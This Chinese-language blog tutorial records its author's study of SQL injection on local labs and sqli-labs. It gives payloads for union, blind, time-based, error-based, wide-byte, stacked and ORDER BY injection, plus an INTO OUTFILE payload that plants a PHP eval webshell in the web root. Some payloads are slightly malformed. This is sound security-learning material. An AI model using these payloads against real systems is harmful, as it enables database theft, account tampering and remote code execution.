sql简单的注入和常见的waf绕过

写在前面

前一阵子为了做Ctf题临时补了一阵子mysql的相关知识,了解了一些简单的注入流程:查字段数->查库->查表->爆字段。但是应用实战或者其他稍微困难一些的Sql注入题这些还远远不够,所以决定重新学习,系统的做一下归类,并记录一下学习的过程


关于环境

本地用Phostudy搭建的PHP+MYSQL环境,写了一个简单的php,类似于无脑的ctf注入题,get传参Id值

简单的注入

刚才我们写的Php就是一个没有任何过滤的后端,值得注意的是,#的注释功能现在好像被和谐掉了,在Hackbar只能编码为%23才能代替#的作用(我竟然花了好长时间反复查看自己到底有没有过滤qaq),接下来看一下这类绝迹注入的流程.如果你本地有DVWA的环境,就直接注Simple类型就好了,先贴一张表的结构
表结构

查字段

?id=1' order by 1/2/3... %23

找到一个有回显的注入点,手动去猜字段,返回异常的N-1即为字段数

查库

这里字段数确认为3

?id=-1' select 1,2,database() %23

两个月前刚学的时候没有搞清楚没什么Id要改成-1,其实很好理解,mysql的查询如果你的查询是存在的即返回结果,若查询不存在即返回查询结果.
avator

查表

?id=-1' select 1,2,table_name from infomation_schema.tables where table_schema=database() %23

查列名

?id=-1' select 1,2,column_name from information_schema.columns where table_name='user' %23

其中User为我们刚才查到的表

查列名下的具体值

?id=-1' select 1,2,user from user %23

选择查询的列为user列,一般来说ctf的题都是让你查flag列下的值,Dump出来就好.

关于Information_schema

MySQL 中有一个数据库叫做information_schema,储存数据库和表的元信息。information_schema中有两个重要的表,一个叫tables,储存表的元信息,有两列特别重要,table_schema是所属数据库,table_name是表名称。另一个表示columns,储存列的源信息,table_name列是所属表名称,column_name列是列名称

盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。其实我们用sqlmap完全可以跑,但是只会用工具最多也就是个脚本小子,要想更好的运用Sqlmap进行注入,我觉得应该从基础学起,搞清楚原理才是最重要的。

布尔盲注

先贴一张自己写的php
avator
即回显只有ture or false

limit

普及一下用法,用mysql演示一下:
limit1

limit2

limit3

猜库长

?id=1' and length(database())=? %23

?即为猜解的裤长,可以用二分法,及大于1,小于100,再从50划分长度。若条件成立返回ture

猜库名

substr()函数

substr(string,start,length)

  • string(必需)规定要返回其中一部分的字符串。

  • start(必需)规定在字符串的何处开始。

  • length(可选)规定被返回字符串的长度。

令外用到ascii()函数,返回查询到的字符的ascii的十进制值,通过大于或者小于的逻辑判断这个值为多少,进而遍历完整的数据库名。
?id=1' and ascii(substr(database(),1,1))>? %23
通过分析,返回的ascii确认为104,对应‘h’,与库名的hpdoger的第一个字母相应。

猜表名

这里需要在substr里嵌套mysql的语句,因为我们要找到对应的表,结合普通查询的语句来构造我们的payload

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>116 %23
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))<118 %23

两者返回都为ture,可以判断第一个字母ascii值为117
chabiao
chabiao

猜列名

lieming
此语句猜解的是user表的第一个列名,如是想要猜解其它列名,则更改Limit 的值

猜字段值

ziduanzhi
道理相同

基于时间的盲注

返回页面无法判断语句是否执行, 面对这种情况,基于布尔的SQL盲注就很难发挥作用了(因为基于布尔的SQL盲注的前提是Web程序返回的页面存在true和false两种不同的页面)。这时

if()与sleep()

其实,基于时间的盲注也是运用逻辑判断。首先看一下if()函数:

  • if()
    if(expr1,expr2,expr3)
    如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

  • sleep()

    sleep(seconds)

    延时一段时间

执行

基本思想跟与布尔盲注一样,给一句话,其他的换成相应查询就可以了

?id=1 and if(ascii(substr(database(),1,1))>100,sleep(10),null)

关于绕过Waf

浅谈编码绕过waf

url编码

这两天一直在刷sqli-labs,做到现在有一点感触。一开始知道有url编码绕过这种方式,但是对于为什么能绕过成功心里是没B数的。经过这两天的测试,我想说的是,这种url编码绕过简直扯淡。人家waf过滤掉了你,你就算编码传过去一个值,到了php页面又被还原再判断,所以相当于没有任何作用。但还是写一下关于url编码的一些理解:

在GET传参的时候,Chrome的url会自动进行编码,而编码形式就是utf-8。一般来说,这个自动编码保留字母和数字不编的形式。其实,我感觉utf-8编码就是为了应对中文问题才诞生的。再说一下解码的问题吧,最初我不理解在php后端什么时候将url解码,后来自己用php传参,echo的结果显示,我们在用$_GET[]时,就将url给解码了。即还原了你的传参原值。所以url编码绕过就是扯淡

%0A换行污染

在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。可以用%0a代替空格使用

16进制绕过

这个目前理解尚浅,在列库名或者表名的时候用过,因为可以避免使用单引号闭合。在concat函数里用过,作为分隔符。即0x7e表示‘~’。

报错注入

不得不说updatexml()这个报错函数真的太强了,首先你要了解Xpath。在Mysql中使用了一下这个函数,发现当XPath 使用路径表达式不符合规范时,就会报错,而报错的内容就非常神奇了。下面贴一张报错内容和语法:

or updatexml(1,concat(0x7e,database()),1)

0x7e是为了构造~分割
1
它爆出了我们查询的库名,只要稍加修改,就可以查表、列、字段等。功能强大,依靠它打lab简直爽的不行。报错注入的姿势有很多,po一个写了十种报错函数的帖子

宽子节注入

对于mysql_escape_string或者是mysql_real_escape_string函数转义的单引号,我们都可以用宽子节注入使单引号逃逸。

  • 在GET类型中,我们在单引号前加一个Ascii大于128的编码,因为mysql是以gbk形式读编码的。例如我们构造%df’,则转义后变成%df%5c%27,那么mysql执行语句时,看到前两个编码会结合为汉字,从而是单引号逃逸。
  • 在POST类型中,我们无法再使用%df进行宽子节注入。POST与GET不同,php端不对%df解码(参考对url编码的理解),而是在执行sql查询的时候对%df再进行一次utf-8的编码。结果就是,你在进行sql查询时本想借助%df逃逸,但是现在没有%df可以利用。网上提供了另一种用utf-16进行宽子节注入的payload,这里我拿来用一下,至于为什么utf-16可以借助逃逸,这个我以后学习了16和8的具体转换方式再补上。playload:
    ?id=1� '

二次注入

二次注入顾名思义,这里简单说一下储值型的二次注入:我们将要执行的sql语句通过注册用户操作,存储到服务器里,当我们再一次进行操作时直接调用服务器里我们存储的sql语句就可以了(例如修改密码时)。举一个lab里的例子,我们注册用户登陆后,session会获得一个用户名,在那道题里,没有对session得到的用户名进行过滤,而是直接把密码更新到获取的session的用户名下,如果我们的用户名为admin’#,那么就相当于更新了Admin的密码。

堆叠注入

堆叠注入区别于二次注入,当没有创建新用户的选项时,可以考虑堆叠注入,在登陆时创建一个新用户入。先看一下labs-42的源码

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以对Username过滤但是未对password过滤,我们就可以为所欲为了。可以通过报错或者盲注查询出表名,构造语句向表中插入用户数据。payload如下:
login_user=123&login=a';insert into users values(16,'Hodoger','zq1160307775') #
show tables成功显示我们插入的用户,前提是你要查到这个登陆基于users这个表,至于怎么查,各显神通了。

order by注入

order by不能与union select 连用,所以注入就要换思路,可以用报错注入或者延时注入。

  • 报错注入的话,在之前以后列出过十种报错函数可以利用
  • 还有一种注入手段是依靠rand()函数,order by 后的参数直接为rand(),rand中含有表达式,根据rand(ture/false)返回时序列不同来判断表达式是否正确,这里我们以查询库名为例写一个payload猜解:
    ?sort=rand(ascii(left(database(),1))>150)
    

?sort=rand(ascii(left(database(),1))<200)
```
sort参数php端用来接收order by处理的值,其实和布尔盲注的思想有些类似

  • 延时注入
    与基于时间的盲注思路差不多,构造 and if语句

权限的注入

into outfile的传马

MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:
select [列名] from table into outfile '目标文件' [option]
意思就是你查询的列名导出到目标文件中。
具体看一道sql labs 46,基于order by 注入的题目
payload:

?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\test.php' lines terminated by 0x3c3f706870206576616c28245f504f53545b6870646f6765725d293b203f3e
sort是题目里给的order by要查询的参数,outfile后接网站的绝对路径,test.php是我要写入的文件(没有时新建),lines terminated by接木马的16进制。union select 也可以与into outfile联合使用,因为这道题是order by注入无法使用union select写入,所以借助了lines terminated by 。
但是我在写入的时候出现下面的页面
shibai
这就是into outfile的限制了。写入之前先看看into outfile 的权限吧:
如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL

3大先天条件

  1. 知道物理路径(into outfile ‘WEB目录的物理路径’)这样才能写对目录。(默认的当前目录是MySQL的数据目录)

  2. 能够使用union(也就是MySQL版本在3以上)

  3. 没有对’进行过滤(因为outfile后面的’’不可以用其他函数代替转换)

2大后天条件

  1. MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)

  2. 对web目录有写权限。
    很明显,我没有file_priv的权限,在mysql里查看一下也能看到,如图
    quanxian
    可以自行百度一下如何在windows下开启file_priv的权限,其实就是在my.ini里把路径置空就好,重启mysql。开启后再执行payload显示如下图:
    chenggong
    在路径下看一下传马是否成功,如图
    muma
    菜刀连接一下,成功
    caodao
    传马成功,下一步就是花样提权。不过目前导出文件的file_priv几乎都不会开启,即root的权限过低,所以可以想办法把它开启。


写在最后

最近大佬丢了我一本sqli-labs的武林秘籍,手工打完了还是有很大收获。其实里面很多题也是可以放到sqlmap里跑,但是做个脚本小子并不是我想要的,最近忙完了转专业这些事,准备闭关修炼一下。先在这里贴一些sqlmap里tamper的用法和介绍,博客总结的很好,而且也po出来一些Url,可以参考一下。

not found!